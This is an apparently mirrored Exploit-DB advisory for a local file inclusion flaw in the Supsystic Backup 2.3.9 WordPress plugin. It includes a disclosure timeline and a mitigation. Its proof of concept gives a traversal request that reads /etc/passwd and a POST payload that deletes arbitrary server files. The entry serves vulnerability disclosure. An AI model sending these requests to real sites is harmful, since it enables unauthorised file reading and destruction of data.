WordPress Plugin Supsystic Backup 2.3.9 - Local File Inclusion

vendor:

Backup

by:

Erik David Martin

7.5

CVSS

HIGH

Local File Inclusion

CWE

Product Name: Backup

Affected Version From: 2.3.9

Affected Version To: 2.3.9

Patch Exists: NO

Related CWE: N/A

CPE: a:supsystic:backup:2.3.9

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Ubuntu 16.04.6 LTS / WordPress 5.4.2

2020

WordPress Plugin Supsystic Backup 2.3.9 – Local File Inclusion

Changing the path when downloading the stored backup allows an attacker to both read and delete internal system files (LFI). The 'Delete' tab also allows an attacker to delete files on the server.

Mitigation:

Ensure that the application is not vulnerable to directory traversal attacks by validating user input and restricting access to sensitive files.

Source

Exploit-DB raw data:

# Exploit Title: WordPress Plugin Supsystic Backup 2.3.9 - Local File Inclusion
# Date: 24/07/2020
# Exploit Author: Erik David Martin
# Vendor Homepage: https://supsystic.com/
# Software Link: https://downloads.wordpress.org/plugin/backup-by-supsystic.zip
# Version: 2.3.9
# Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2


# 25/07 2020: Vendor notified
# 27/07 2020: Vendor requested detailed information
# 27/07 2020: Information provided
# 07/08 2020: Nudged vendor. No reply
# 22/08 2020: Nudged vendor. No reply
# 04/10 2020: Nudged vendor. No reply.
# 29/11 2020: WordPress Plugin Security team contacted
# 01/12 2020: Plugin/Project closed by WordPress Security team


# 1. Description

Changing the path when downloading the stored backup allows an attacker to both read and delete internal system files (LFI).


# 2. Proof of Concept (PoC)

Create a backup. When downloading the backup, change its path:

GET http://192.168.0.49/wp-admin/admin.php?page=supsystic-backup&tab=bupLog&download=../../../../../../../../../etc/passwd


The "Delete" tab also allows an attacker to delete files on the server:

POST http://192.168.0.49/wp-admin/admin.php?page=supsystic-backup&tab=bupLog
Payload: reqType=ajax&page=backup&action=removeAction&filename=[FILE PATH]&deleteLog=1&pl=bup